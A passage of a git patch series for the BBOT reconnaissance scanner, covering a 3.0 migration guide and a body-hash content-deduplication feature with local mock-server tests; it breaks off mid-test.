to `make_event()` now raises — call + `update_event()` instead. +- New `BaseModule.setup_deps()` lifecycle hook (runs alongside `setup()` for + pure dependency installation like AI models or wordlists). +- New `_disable_auto_module_deps = True` opt-out so a module that watches URLs + doesn't automatically pull in `http`/`blasthttp`. +- New `accept_seeds` attribute. Defaults to `True` for passive modules, + `False` otherwise. Override explicitly if you want different behavior. +- `default_discovery_context` now uses `{event.pretty_string}` instead of + `{event.data}` — the latter is now a dict for URL-like events (see below). + +--- + +## Events + +### Removed event types + +- `VULNERABILITY` is gone. Emit a `FINDING` with `severity` set to + `"CRITICAL"`, `"HIGH"`, `"MEDIUM"`, `"LOW"`, or `"INFO"` instead. The pseudo + event type `TARGET` was also retired in favor of `SEED`. + +### Class hierarchy + +| 2.x | 3.0 | +|-----|-----| +| `URL_UNVERIFIED(BaseEvent)` — data is a string | `URL_UNVERIFIED(DictHostEvent)` — data is a dict with `url`, `path`, etc. | +| `URL(URL_UNVERIFIED)` — string data | `URL(URL_UNVERIFIED)` — dict data | +| `STORAGE_BUCKET(DictEvent, URL_UNVERIFIED)` | `STORAGE_BUCKET(URL_UNVERIFIED)` | +| `HTTP_RESPONSE(URL_UNVERIFIED, DictEvent)` | `HTTP_RESPONSE(URL_UNVERIFIED)` | +| `DictPathEvent(DictEvent)` | `DictPathEvent(DictHostEvent)` | +| *(no UDP event)* | `OPEN_UDP_PORT(OPEN_TCP_PORT)` | + +URL events are now dict-backed. Reading `.data` on a `URL` / `URL_UNVERIFIED` / +`HTTP_RESPONSE` returns a dict, not a string. Use the new `event.url` property +to get the URL string, or `event.pretty_string` for a human-readable form. +Many built-in modules and most tests were updated accordingly; custom modules +that compared or formatted `event.data` for URL events must be updated. + +### Removed attributes + +- `event.confidence` and `event.cumulative_confidence` no longer exist on + `BaseEvent`. Confidence is now a per-finding value carried inside + `FINDING.data["confidence"]` and validated against + `("UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED")`. +- `source_domain` has been removed from events. +- `_always_emit_tags`: the literal tag `"target"` was renamed to `"seed"`. +- Tags `ip-
    `, `http-title-`, and `cloud-<type>` are no longer + emitted as event tags by the `http` / cloudcheck pipelines. Use + `event.resolved_hosts`, `event.host_metadata`, and the simplified cloud tags + (`cloud`, plus a single provider tag) instead. + +### New event surface + +- `event.url` — string URL property (works on URL-like events, returns `""` + otherwise). +- `event.pretty_string` — human-readable representation, used in logs and + discovery context. +- `event.host_metadata` — dict of structured per-host metadata (cloud + providers, ASN info, etc.). Replaces the long-tail of `cloud-*` tags. +- Mutation helpers `add_resolved_host()`, `update_resolved_hosts()`, + `add_dns_child()`, `set_raw_dns_record()`. Direct assignment to the backing + slots (`event._resolved_hosts = ...`, `event.dns_children["A"].add(...)`) is + no longer the public contract: the slots are lazily initialized to `None` + for memory reasons and exposed read-only via properties. + +### FINDING severity / confidence + +`FINDING.data` is now validated against a fixed allowlist: + +- `severity`: `"INFO" | "LOW" | "MEDIUM" | "HIGH" | "CRITICAL"` + (the old `"INFORMATIONAL"` and `"MODERATE"` values have been renamed to + `INFO` and `MEDIUM`) +- `confidence`: `"UNKNOWN" | "LOW" | "MEDIUM" | "HIGH" | "CONFIRMED"` + +Severity and confidence are recorded on the event as `severity-<level>` and +`confidence-<level>` tags. Lowercase tags like `high` or `medium` are no +longer added directly. + +### ASN as a target type + +`ASN:12345` (or `AS12345`) can now be used as a scan target — the seed will be +expanded to its registered CIDRs via the `asndb` library at scan start. ASN +lookups are also wired through the new `bbot_io_api_key` config (or +`BBOT_IO_API_KEY` env var). + +--- + +## Config + +`bbot/defaults.yml` saw a number of breaking renames and additions: + +### Renamed + +| 2.x | 3.0 | +|---------------------------|---------------------------| +| `web.httpx_timeout` | `web.blasthttp_timeout` | +| `web.httpx_retries` | `web.blasthttp_retries` | +| `dns.threads` (global) | `dns.threads` (now per-resolver; default lowered from 25 → 10) | + +### Removed + +- `deps.ffuf.version` (ffuf is gone). +- The top-level `modules.json.siem_friendly` flag (and the `siem_friendly` + output module). + +### Added + +- `max_mem_percent` — global ingress throttle when RSS exceeds the threshold. +- `web.user_agent_suffix` — appended to the user agent (previously buried as a + hidden CLI flag). +- `web.http_rate_limit` — global rps cap across the shared blasthttp client. +- `web.body_spill.{enabled,cache_mb,compress}` — disk-spill HTTP response + bodies to keep them off the Python heap. +- `dns.cache_size` — DNS LRU size. +- `bbot_io_api_key` — API key for bbot.io services (currently used by ASN + lookups). +- `dns.abort_threshold` default lowered from `50` → `10`. +- `dns.filter_ptrs` semantics: PTR-derived hostnames are now treated as + affiliates by default rather than being injected as in-scope DNS_NAME events + during IP-range scans. + +--- + +## DNS and HTTP internals + +Both the DNS and HTTP engines were rewritten and the old subprocess +architecture was deleted. + +- **DNS**: `bbot/core/helpers/dns/engine.py` and `dns/mock.py` were removed. + The `DNSHelper` no longer inherits from `EngineClient`; resolution now goes + through the native [blastdns](https://github.com/blacklanternsecurity/blastdns) + Rust client. The `self.helpers.dns.resolver` `dnspython` resolver is gone. +- **HTTP**: `bbot/core/helpers/web/client.py` and `web/engine.py` were + removed. `WebHelper` no longer inherits from `EngineClient`. All HTTP goes + through the shared `self.helpers.blasthttp` client. The httpx-based + `request_batch` / `request_custom_batch` / `curl` methods were replaced by + `request()`, `request_batch_stream(urls, threads=10, **kwargs)`, and + `download()`. +- The blasthttp dependency line is `blasthttp>=0.7.0`. + +Modules that previously instantiated their own `httpx.AsyncClient` or built +custom curl invocations must switch to `self.helpers.request(...)` / +`self.helpers.blasthttp`. + +--- + +## Output and DB models + +- The pydantic / SQLModel models moved from `bbot.db.sql.models` to + `bbot.models.sql` (plus a new `bbot.models.pydantic` / `bbot.models.helpers` + split). External importers must update. +- `output.http` was renamed to `output.webhook`. +- `output.json` lost the `siem_friendly` option. +- New output modules: `elastic`, `kafka`, `mongo`, `nats`, `rabbitmq`, + `zeromq`. +- Neo4j output now also serializes `host_metadata`. + +--- + +## Dependencies and tooling + +- **Build system**: migrated from Poetry to [uv](https://docs.astral.sh/uv/) + + hatchling. `pyproject.toml` is now PEP-621. `poetry.lock` is replaced by + `uv.lock`. Dev install: `uv sync --group dev`. The + `poetry-dynamic-versioning` integration is gone; version is now plain + `3.0.0`. +- **License**: changed from `GPL-3.0` to `AGPL-3.0`. +- **Python**: minimum bumped from `3.9` to `3.10`. Upper bound is now + `<3.15`. +- **Lockstep deps**: + - `radixtarget >=4.0.1,<5` (composition pattern, no longer subclassed) + - `cloudcheck >=10.0.0,<11` + - `blasthttp >=0.7.0` (new) + - `blastdns >=1.9.0,<2` (new) + - `asndb >=1.0.4` (new) + - `zstandard` (new; used by HTTP body spill) + - `httpx` **removed** as a runtime dep. + +Custom modules that imported `httpx`, `dns.asyncresolver`, `radixtarget` +subclasses, or `bbot.db.sql.models` will need to be ported. + +--- + +## Quick migration checklist + +- [ ] Replace `--whitelist` / `whitelist=` with positional target args; only + reach for `--seeds` / `seeds=` when you genuinely want a seed that isn't + in scope. +- [ ] Replace `-s` with `-S` for silent runs. +- [ ] Drop `--allow-deadly`. +- [ ] Rename module references: `httpx → http`, `ffuf → webbrute`, + `bucket_azure → bucket_microsoft`, `extractous → kreuzberg`, + `output.http → output.webhook`, `censys → censys_dns / censys_ip`. +- [ ] Rename preset references: `web-basic → web`, `web-thorough → web-heavy`, + `*-intense → *-heavy`. +- [ ] Rename module flags: `noisy → loud`, `web-basic → web`, + `web-thorough → web-heavy`. Drop `aggressive` / `deadly`. Add `safe` / + `loud` / `invasive` to satisfy the new validation rule. +- [ ] Replace any `VULNERABILITY` emit with a `FINDING` carrying + `severity=...`. +- [ ] Update FINDING severity strings: `INFORMATIONAL → INFO`, + `MODERATE → MEDIUM`. Add a `confidence` field from the new allowlist. +- [ ] Stop reading `event.data` for URL events; use `event.url` / + `event.pretty_string`. Drop dependencies on `event.confidence` / + `cumulative_confidence`. +- [ ] Stop mutating `event._resolved_hosts` / `event.dns_children` directly; + use the new `add_resolved_host` / `add_dns_child` helpers. +- [ ] Update config keys: `web.httpx_timeout → web.blasthttp_timeout`, + `web.httpx_retries → web.blasthttp_retries`. +- [ ] Update imports: `bbot.db.sql.models → bbot.models.sql`. +- [ ] If you ship a custom module that watches URLs but doesn't want + blasthttp auto-enabled, set `_disable_auto_module_deps = True`. +- [ ] Switch your install/build pipeline from Poetry to uv. diff --git a/mkdocs.yml b/mkdocs.yml index 1c11fe8114..5392005878 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -35,6 +35,8 @@ nav: - Wayback: modules/wayback.md - Custom YARA Rules: modules/custom_yara_rules.md - Lightfuzz: modules/lightfuzz.md + - Migration: + - 2.x → 3.0 Breaking Changes: migration/3.0_breaking_changes.md - Misc: - Contribution: contribution.md - Release History: release_history.md From f8403919736d4a6e883664fd84a339f387602051 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 22 May 2026 17:02:44 -0400 Subject: [PATCH 808/912] drop generic_ssrf claim from migration doc --- docs/migration/3.0_breaking_changes.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md index 7ba0a44095..833da2ee59 100644 --- a/docs/migration/3.0_breaking_changes.md +++ b/docs/migration/3.0_breaking_changes.md @@ -164,8 +164,7 @@ truth. - `webbrute` / `webbrute_shortnames` — ffuf replacements, also via blasthttp. - `bucket_hetzner`, `shodan_enterprise`, `trajan`, `legba`. - Output: `elastic`, `kafka`, `mongo`, `nats`, `rabbitmq`, `zeromq`. -- Lightfuzz submodules `esi` and `ssrf` (the old `generic_ssrf` module was - deleted in favor of the lightfuzz submodule). +- Lightfuzz submodules `esi` and `ssrf`. ### Module API From 7229b2b4556de7be88a7740d25c237a55e7395e3 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 3 Jun 2026 15:43:19 -0400 Subject: [PATCH 809/912] Note preset/config validation and ${env:} removal --- docs/migration/3.0_breaking_changes.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md index 833da2ee59..89b36a4c2c 100644 --- a/docs/migration/3.0_breaking_changes.md +++ b/docs/migration/3.0_breaking_changes.md @@ -114,6 +114,13 @@ The top-level scan options that used to be implicit are now required to live under `config:` inside a preset (this was previously documented behavior, now enforced and called out in `defaults.yml`). +Presets and `-c key=value` options are now **validated when loaded**: unknown +keys, typos, and wrong value types are rejected up front (usually with a +closest-match hint, e.g. `Did you mean "scope.strict"?`) instead of being +silently ignored. The old `${env:VAR}` interpolation inside config values is +gone too; inject secrets with shell expansion +(`-c modules.shodan.api_key="$SHODAN_KEY"`) or keep them in `secrets.yml`. + --- ## Modules From b4985d392967d8b266f7c4650709c559eaa90a7f Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 9 Jun 2026 20:16:45 -0400 Subject: [PATCH 810/912] Update blasthttp to >=0.8.0, add http_proxy_exclude --- docs/migration/3.0_breaking_changes.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md index 89b36a4c2c..e66e6db934 100644 --- a/docs/migration/3.0_breaking_changes.md +++ b/docs/migration/3.0_breaking_changes.md @@ -289,6 +289,8 @@ lookups are also wired through the new `bbot_io_api_key` config (or - `web.user_agent_suffix` — appended to the user agent (previously buried as a hidden CLI flag). - `web.http_rate_limit` — global rps cap across the shared blasthttp client. +- `web.http_proxy_exclude` — hosts/CIDRs to exclude from the HTTP proxy + (`NO_PROXY` equivalent). - `web.body_spill.{enabled,cache_mb,compress}` — disk-spill HTTP response bodies to keep them off the Python heap. - `dns.cache_size` — DNS LRU size. @@ -316,7 +318,7 @@ architecture was deleted. `request_batch` / `request_custom_batch` / `curl` methods were replaced by `request()`, `request_batch_stream(urls, threads=10, **kwargs)`, and `download()`. -- The blasthttp dependency line is `blasthttp>=0.7.0`. +- The blasthttp dependency line is `blasthttp>=0.8.0`. Modules that previously instantiated their own `httpx.AsyncClient` or built custom curl invocations must switch to `self.helpers.request(...)` / @@ -350,7 +352,7 @@ custom curl invocations must switch to `self.helpers.request(...)` / - **Lockstep deps**: - `radixtarget >=4.0.1,<5` (composition pattern, no longer subclassed) - `cloudcheck >=10.0.0,<11` - - `blasthttp >=0.7.0` (new) + - `blasthttp >=0.8.0` (new) - `blastdns >=1.9.0,<2` (new) - `asndb >=1.0.4` (new) - `zstandard` (new; used by HTTP body spill) From cfb4dc3e25e55dcb6490c3a44af82cf0829f2542 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 19:12:33 -0400 Subject: [PATCH 811/912] Update migration doc: ssl_verify split, blasthttp 0.9.0, wildcard detection --- docs/migration/3.0_breaking_changes.md | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md index e66e6db934..553a35e093 100644 --- a/docs/migration/3.0_breaking_changes.md +++ b/docs/migration/3.0_breaking_changes.md @@ -188,6 +188,10 @@ truth. `False` otherwise. Override explicitly if you want different behavior. - `default_discovery_context` now uses `{event.pretty_string}` instead of `{event.data}` — the latter is now a dict for URL-like events (see below). +- New `BaseModule._is_http_wildcard_host(event)` helper. Returns `True` when + the target responds identically to two random paths (catch-all / SPA + router). Used by `webbrute`, `lightfuzz`, and `paramminer` to skip hosts + that would produce only false positives. --- @@ -276,6 +280,7 @@ lookups are also wired through the new `bbot_io_api_key` config (or | `web.httpx_timeout` | `web.blasthttp_timeout` | | `web.httpx_retries` | `web.blasthttp_retries` | | `dns.threads` (global) | `dns.threads` (now per-resolver; default lowered from 25 → 10) | +| `web.ssl_verify` | split into `web.ssl_verify_target` (default `false`) and `web.ssl_verify_infrastructure` (default `true`) | ### Removed @@ -318,7 +323,7 @@ architecture was deleted. `request_batch` / `request_custom_batch` / `curl` methods were replaced by `request()`, `request_batch_stream(urls, threads=10, **kwargs)`, and `download()`. -- The blasthttp dependency line is `blasthttp>=0.8.0`. +- The blasthttp dependency line is `blasthttp>=0.9.0`. Modules that previously instantiated their own `httpx.AsyncClient` or built custom curl invocations must switch to `self.helpers.request(...)` / @@ -352,7 +357,7 @@ custom curl invocations must switch to `self.helpers.request(...)` / - **Lockstep deps**: - `radixtarget >=4.0.1,<5` (composition pattern, no longer subclassed) - `cloudcheck >=10.0.0,<11` - - `blasthttp >=0.8.0` (new) + - `blasthttp >=0.9.0` (new) - `blastdns >=1.9.0,<2` (new) - `asndb >=1.0.4` (new) - `zstandard` (new; used by HTTP body spill) @@ -388,7 +393,8 @@ subclasses, or `bbot.db.sql.models` will need to be ported. - [ ] Stop mutating `event._resolved_hosts` / `event.dns_children` directly; use the new `add_resolved_host` / `add_dns_child` helpers. - [ ] Update config keys: `web.httpx_timeout → web.blasthttp_timeout`, - `web.httpx_retries → web.blasthttp_retries`. + `web.httpx_retries → web.blasthttp_retries`, + `web.ssl_verify → web.ssl_verify_target` / `web.ssl_verify_infrastructure`. - [ ] Update imports: `bbot.db.sql.models → bbot.models.sql`. - [ ] If you ship a custom module that watches URLs but doesn't want blasthttp auto-enabled, set `_disable_auto_module_deps = True`. From 9add59aad8ceea966f8f6e36ffda17ee8f290311 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Sun, 14 Jun 2026 01:13:41 -0400 Subject: [PATCH 812/912] feat: add _avoid_duplicate_content flag for content-based dedup Add a reusable class-level toggle that lets modules skip processing events with identical response bodies (by body_mmh3 hash) on the same host. Enabled on excavate to avoid redundant extraction on duplicate pages (e.g. SPA product pages with identical templates). Also copies response hash dict onto URL events in the http module so downstream URL-watching modules have access to body hashes. Bug fix: BaseInterceptModule._event_postcheck was skipping is_incoming_duplicate() entirely, making excavate's accept_dupes=False dead code. Removed the override so intercept modules now run the standard dedup path. ScanIngress retains its own override since it handles dedup separately in handle_event. --- bbot/modules/base.py | 14 +- bbot/modules/http.py | 3 + bbot/modules/internal/excavate.py | 1 + bbot/scanner/manager.py | 3 + .../module_tests/test_module_excavate.py | 141 ++++++++++++++++++ 5 files changed, 159 insertions(+), 3 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index b4bb6b7122..781a9d2482 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -106,6 +106,7 @@ class BaseModule: target_only = False in_scope_only = False accept_url_special = False + _avoid_duplicate_content = False _module_threads = 1 _batch_size = 1 @@ -144,6 +145,7 @@ def __init__(self, scan): self._outgoing_event_queue = None # track incoming events to prevent unwanted duplicates self._incoming_dup_tracker = set() + self._content_dup_tracker = set() # tracks which subprocesses are running under this module self._proc_tracker = set() # seconds since we've submitted a batch @@ -1148,6 +1150,15 @@ def is_incoming_duplicate(self, event, add=False): is_dup = event_hash in self._incoming_dup_tracker if add: self._incoming_dup_tracker.add(event_hash) + if not is_dup and self._avoid_duplicate_content: + body_hash = event.data.get("hash", {}).get("body_mmh3", "") if isinstance(event.data, dict) else "" + if body_hash: + content_key = hash((event.host, body_hash)) + if content_key in self._content_dup_tracker: + is_dup = True + reason = f"duplicate content (body_hash={body_hash})" + if add: + self._content_dup_tracker.add(content_key) return is_dup, reason def _incoming_dedup_hash(self, event): @@ -1981,6 +1992,3 @@ async def queue_event(self, event, kwargs=None): self.incoming_event_queue.put_nowait((event, kwargs)) except AttributeError: self.debug("Not in an acceptable state to queue incoming event") - - async def _event_postcheck(self, event): - return await self._event_postcheck_inner(event) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 907947dcd5..48ba9a5722 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -153,6 +153,9 @@ async def _process_result(self, result, parent_event): location = j.get("location", "") if location: url_event.redirect_location = location + response_hash = j.get("hash") + if response_hash: + url_event.data["hash"] = response_hash if url_event != parent_event: await self.emit_event(url_event) content_type = j.get("header", {}).get("content_type", "unspecified").split(";")[0] diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 77392b49c8..19309366b5 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -365,6 +365,7 @@ class excavateTestRule(ExcavateRule): watched_events = ["HTTP_RESPONSE", "RAW_TEXT"] produced_events = ["URL_UNVERIFIED", "WEB_PARAMETER"] + _avoid_duplicate_content = True flags = ["safe", "passive"] meta = { "description": "Passively extract juicy tidbits from scan data", diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index a3e4f7c992..b38ed07396 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -156,6 +156,9 @@ async def get_incoming_event(self): continue raise asyncio.queues.QueueEmpty() + async def _event_postcheck(self, event): + return await self._event_postcheck_inner(event) + def is_incoming_duplicate(self, event, add=False): """ Calculate whether an event is a duplicate in the context of the module that emitted it diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index e7910cc4ad..e3618149e8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1924,3 +1924,144 @@ def check(self, module_test, events): assert any(e.type == "DNS_NAME" and e.data == "extracted.test.notreal" for e in events), ( "Excavate should still extract DNS_NAMEs from HTTP wildcard host responses" ) + + + +class TestExcavateContentDedup(ModuleTestBase): + """Verify _avoid_duplicate_content=True on excavate skips HTTP_RESPONSE events with duplicate body hashes.""" + + targets = [ + "http://127.0.0.1:8888/dir1/page.html", + "http://127.0.0.1:8888/dir2/page.html", + "http://127.0.0.1:8888/other/page.html", + ] + modules_overrides = ["excavate", "http"] + config_overrides = {"web": {"spider_distance": 0, "spider_depth": 0}, "omit_event_types": []} + + duplicate_body = "<html><body><a href='./found.html'>click</a></body></html>" + unique_body = "<html><body><a href='./unique.html'>click</a></body></html>" + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/dir1/page.html"}, + respond_args={"response_data": self.duplicate_body}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/dir2/page.html"}, + respond_args={"response_data": self.duplicate_body}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/other/page.html"}, + respond_args={"response_data": self.unique_body}, + ) + module_test.httpserver.no_handler_status_code = 404 + + def check(self, module_test, events): + excavate = module_test.scan.modules["excavate"] + assert len(excavate._content_dup_tracker) > 0, "Content dedup tracker was empty" + + url_events = [e for e in events if e.type == "URL_UNVERIFIED"] + urls = {e.url for e in url_events} + + assert "http://127.0.0.1:8888/other/unique.html" in urls, "Unique page link not extracted" + + dir1_found = "http://127.0.0.1:8888/dir1/found.html" in urls + dir2_found = "http://127.0.0.1:8888/dir2/found.html" in urls + assert dir1_found or dir2_found, "Neither duplicate page was processed" + assert not (dir1_found and dir2_found), ( + "Both duplicate pages were processed — content dedup failed to skip the second one" + ) + + +class TestExcavateContentDedupDisabled(ModuleTestBase): + """Verify that with _avoid_duplicate_content=False, duplicate content on different URLs is NOT deduped.""" + + targets = [ + "http://127.0.0.1:8888/dir1/page.html", + "http://127.0.0.1:8888/dir2/page.html", + ] + modules_overrides = ["excavate", "http"] + config_overrides = {"web": {"spider_distance": 0, "spider_depth": 0}, "omit_event_types": []} + + duplicate_body = "<html><body><a href='./found.html'>click</a></body></html>" + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/dir1/page.html"}, + respond_args={"response_data": self.duplicate_body}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/dir2/page.html"}, + respond_args={"response_data": self.duplicate_body}, + ) + module_test.httpserver.no_handler_status_code = 404 + + async def setup_after_prep(self, module_test): + module_test.scan.modules["excavate"]._avoid_duplicate_content = False + + def check(self, module_test, events): + url_events = [e for e in events if e.type == "URL_UNVERIFIED"] + urls = {e.url for e in url_events} + + dir1_found = "http://127.0.0.1:8888/dir1/found.html" in urls + dir2_found = "http://127.0.0.1:8888/dir2/found.html" in urls + assert dir1_found and dir2_found, ( + f"Both duplicate pages should be processed when _avoid_duplicate_content=False, " + f"got dir1={dir1_found}, dir2={dir2_found}" + ) + + +class TestContentDedupWithURLEvents(ModuleTestBase): + """Verify _avoid_duplicate_content works for modules watching URL events (via body_mmh3 hash).""" + + targets = [ + "http://127.0.0.1:8888/page1.html", + "http://127.0.0.1:8888/page2.html", + "http://127.0.0.1:8888/different.html", + ] + modules_overrides = ["excavate", "http"] + config_overrides = {"web": {"spider_distance": 0, "spider_depth": 0}, "omit_event_types": []} + + duplicate_body = "<html><body>identical content</body></html>" + unique_body = "<html><body>different content</body></html>" + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/page1.html"}, + respond_args={"response_data": self.duplicate_body}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/page2.html"}, + respond_args={"response_data": self.duplicate_body}, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/different.html"}, + respond_args={"response_data": self.unique_body}, + ) + module_test.httpserver.no_handler_status_code = 404 + + async def setup_after_prep(self, module_test): + class URLConsumer(BaseModule): + watched_events = ["URL"] + _name = "url_consumer" + _avoid_duplicate_content = True + events_seen = [] + + async def handle_event(self, event): + self.events_seen.append(event) + + module_test.scan.modules["url_consumer"] = URLConsumer(module_test.scan) + + def check(self, module_test, events): + consumer = module_test.scan.modules["url_consumer"] + seen_urls = {e.url for e in consumer.events_seen if e.type == "URL"} + + assert "http://127.0.0.1:8888/different.html" in seen_urls, "Unique URL should be processed" + + page1_seen = "http://127.0.0.1:8888/page1.html" in seen_urls + page2_seen = "http://127.0.0.1:8888/page2.html" in seen_urls + assert page1_seen or page2_seen, "At least one duplicate-content URL should be processed" + assert not (page1_seen and page2_seen), ( + "Both duplicate-content URLs were processed — content dedup failed for URL events" + ) + assert len(consumer._content_dup_tracker) > 0, "Content dedup tracker should have entries" From cfffe3113ea4ea83344fc62f529172ed5d13bb52 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 17:29:16 -0400 Subject: [PATCH 813/912] Harden content-dedup: sha256, port-aware key, safer hash access --- bbot/core/event/base.py | 1 - bbot/modules/base.py | 5 +++-- bbot/test/test_step_2/module_tests/test_module_excavate.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 933280f210..c13d99f883 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1815,7 +1815,6 @@ def _minimize(self): self._data.pop("body", None) self._data.pop("raw_header", None) self._data.pop("header", None) - self._data.pop("hash", None) self._data.pop("cert_info", None) @property diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 781a9d2482..01e85ad672 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1151,9 +1151,10 @@ def is_incoming_duplicate(self, event, add=False): if add: self._incoming_dup_tracker.add(event_hash) if not is_dup and self._avoid_duplicate_content: - body_hash = event.data.get("hash", {}).get("body_mmh3", "") if isinstance(event.data, dict) else "" + hash_dict = event.data.get("hash") if isinstance(event.data, dict) else None + body_hash = hash_dict.get("body_sha256", "") if isinstance(hash_dict, dict) else "" if body_hash: - content_key = hash((event.host, body_hash)) + content_key = hash((event.host, event.port, body_hash)) if content_key in self._content_dup_tracker: is_dup = True reason = f"duplicate content (body_hash={body_hash})" diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index e3618149e8..9f8866191c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -2012,7 +2012,7 @@ def check(self, module_test, events): class TestContentDedupWithURLEvents(ModuleTestBase): - """Verify _avoid_duplicate_content works for modules watching URL events (via body_mmh3 hash).""" + """Verify _avoid_duplicate_content works for modules watching URL events (via body_sha256 hash).""" targets = [ "http://127.0.0.1:8888/page1.html", From d68d5bc2157aaacd299568fdca97ae60a9e60820 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 18:58:07 -0400 Subject: [PATCH 814/912] Skip URL dedup for POST responses, skip content dedup for empty bodies --- bbot/modules/base.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 01e85ad672..771458d923 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1147,13 +1147,15 @@ def is_incoming_duplicate(self, event, add=False): return True, msg with suppress(TypeError, ValueError): event_hash, reason = event_hash - is_dup = event_hash in self._incoming_dup_tracker - if add: + is_post = isinstance(event.data, dict) and event.data.get("method", "") == "POST" + is_dup = event_hash in self._incoming_dup_tracker and not is_post + if add and not is_post: self._incoming_dup_tracker.add(event_hash) if not is_dup and self._avoid_duplicate_content: hash_dict = event.data.get("hash") if isinstance(event.data, dict) else None body_hash = hash_dict.get("body_sha256", "") if isinstance(hash_dict, dict) else "" - if body_hash: + # skip dedup for empty bodies (e.g. 302 redirects) where the useful data is in headers + if body_hash and body_hash != "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855": content_key = hash((event.host, event.port, body_hash)) if content_key in self._content_dup_tracker: is_dup = True From 4d4a76d311b78a6c8394392a563781575cc6f4fb Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 19:18:01 -0400 Subject: [PATCH 815/912] ruff format --- bbot/test/test_step_2/module_tests/test_module_excavate.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 9f8866191c..9d05e0c49d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1926,7 +1926,6 @@ def check(self, module_test, events): ) - class TestExcavateContentDedup(ModuleTestBase): """Verify _avoid_duplicate_content=True on excavate skips HTTP_RESPONSE events with duplicate body hashes.""" From 3f0df4d6dadf705dba3eaf5f0a7d465c9968df8e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 15 Jun 2026 19:20:28 -0400 Subject: [PATCH 816/912] Add OOM test, broaden except tuple to catch PostgresConnectionError --- bbot/modules/crt_db.py | 2 +- .../module_tests/test_module_crt_db.py | 23 +++++++++++++++++++ 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/bbot/modules/crt_db.py b/bbot/modules/crt_db.py index 05c0973ddb..85eb97b0f7 100644 --- a/bbot/modules/crt_db.py +++ b/bbot/modules/crt_db.py @@ -58,7 +58,7 @@ async def request_url(self, query): start = time.time() try: results = await self.db_conn.fetch(sql, query) - except (asyncpg.InterfaceError, ConnectionError): + except (asyncpg.InterfaceError, asyncpg.PostgresConnectionError, ConnectionError): # connection died between requests; drop it so the next call reconnects self.db_conn = None raise diff --git a/bbot/test/test_step_2/module_tests/test_module_crt_db.py b/bbot/test/test_step_2/module_tests/test_module_crt_db.py index fa1e9f9419..d79b5f6b30 100644 --- a/bbot/test/test_step_2/module_tests/test_module_crt_db.py +++ b/bbot/test/test_step_2/module_tests/test_module_crt_db.py @@ -69,3 +69,26 @@ def check(self, module_test, events): assert any(isinstance(e.data, str) and e.data.startswith("reconnect.") for e in events), ( "Failed to detect subdomain after reconnect" ) + + +class 